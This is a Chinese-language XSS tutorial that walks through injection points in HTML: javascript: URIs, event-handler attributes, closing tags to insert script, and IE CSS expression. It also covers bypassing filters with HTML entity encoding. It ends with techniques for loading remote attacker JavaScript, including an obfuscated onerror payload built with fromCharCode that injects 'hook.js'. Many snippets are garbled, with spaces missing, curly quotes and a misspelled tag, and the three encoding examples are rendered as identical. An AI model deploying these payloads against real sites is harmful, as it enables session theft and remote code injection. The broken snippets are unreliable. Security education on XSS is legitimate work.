前端安全:know it then hack it
一、html可以執行javascript的地方有哪些?
先舉個例子比如這個代碼
1<a href="$a">f4ck</a>
變量$a可控,怎么讓這個代碼彈框(執行javascript代碼)呢?
(1)屬性值引入javascript:[code]偽協議,來執行javascript代碼。也就是$a=javascript:alert(1)
只有引用文件的屬性才能觸發javascript腳本,這些標簽有:
href
action
bgsound
background
value
dynsrc
lowsrc。
1<formaction="javascript:alert(1)">
2<input type="text"name="name"value="">
3<input type="submit"value="提交">
4</form>
5<img src="javascript:alert('1');"/>
由于這些屬性值不是通用屬性,所以會在不同的標簽中,如果在火狐上測試不成功請在ie下測試,我用ie6測試是成功的。
(2)"閉合前一個屬性值,引入事件驅動屬性。事件驅動屬性的值是javascript代碼,所以可以執行javascript。事件驅動屬性是標簽的通用屬性,所以所有標簽都可以用。也就是
1$a="onclick=alert(1)
2這樣的事件驅動屬性標簽還有:
ondblclick
onmousedown
onmouseup
onmouseover
onmousemove
onmouseout
onmousepress
onmousedown
onmouseup
1<a href=""onclick=alert(1)>f4ck</a>
(3)閉合標簽,引入<script></scirpt>標簽來執行javascript代碼。也就是:
1$a="><script>alert(1)</script>
(4)CSS可以通過expression屬性執行javascript代碼
expression是ie獨有的css屬性,其目的是為了插入一段javascript代碼。
1<pstyle="xss:expression(alert(1))">
在ie6下執行成功。
1@import"http://www.91ri.org/xss.css";
可以從外部導入存在xss代碼的css樣式。
如果css屬性可控,除了可以在expression后面添加javascript代碼執行外,還可以像(2)(3)一樣通過閉合標簽和屬性值來達到執行javascript的目的。
烏云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss
綜上,可以在html里執行javascript的地方有
1、利用javascript:在屬性值里2、事件驅動屬性3、<script></script>標簽中(包括這種形式<scriptsrc="http://www.91ri.org/1.js"></script>)4、CSS中的expression屬性中(僅IE)。
二、為什么編碼后的代碼仍然可以執行?
(1)上面的$a是沒被過濾的,但假如被過濾了怎么辦,假如只是黑名單過濾了javascript,或者只是對$a進行了htmlspecialchars()轉換。執行javascript的地方只進行了html編碼。
<a href="$a">f4ck</a>
$a的值
1javascript:alert(1)
$a的值
1javascript:alert(1)
$a的值:
1javascript:alert(1)
以上為html的三種編碼。提交后,可以繞過黑名單javascript,進行htmlspecialchars()編碼是不會發生任何變化的,那么,這段代碼為什么會執行?
因為這個代碼,瀏覽器從頭解析當解析到,$a的值時,正常將它解碼,就變成javascript:alert(1),然后這個代碼在href屬性中,所以就執行了。
三、怎么遠程加載外部js?
先來說說html標記,html標記其實可以分為兩種
1、文本用閉合標簽。
例:<h1>f4ck</h1>
2、引用內容用自閉合標簽。
例:<img src="http://www.91ri.org/img/bdlogo.gif"/>
瀏覽器會在html頁面加載時,額外向服務器發送請求,注:這里是html標簽的特性,不要和同源策略相混淆,同源策略是用來限制瀏覽器的。
加載進來的js和本域是同源的。
哪些標簽可以遠程加載外部js,并執行呢?
1、
1<scriptsrc="www.91ri.org/1.js"></script>
2、
1<iframesrc="www.91ri.org/1.js"></iframe>
3、
1<iframesrc=javascript:with(document)0[body.appendChild(document.createElement('script')).src="http://url.cn/1.js"]></iframe>
其實3就是dom的方法創建和插入節點。
1vars=document.createElement("script");
2s.src="http://www.91ri.org/xss.js";
3document.getElementsByTagName("head")[0].appendChild(s);
直接用3用于
viewsource
1<img src='#'onerror=“vara=document.getElementsByTagName('head').item(0);
2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));
3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);
4b.src=‘hook.js';
5a.appendChild(b);">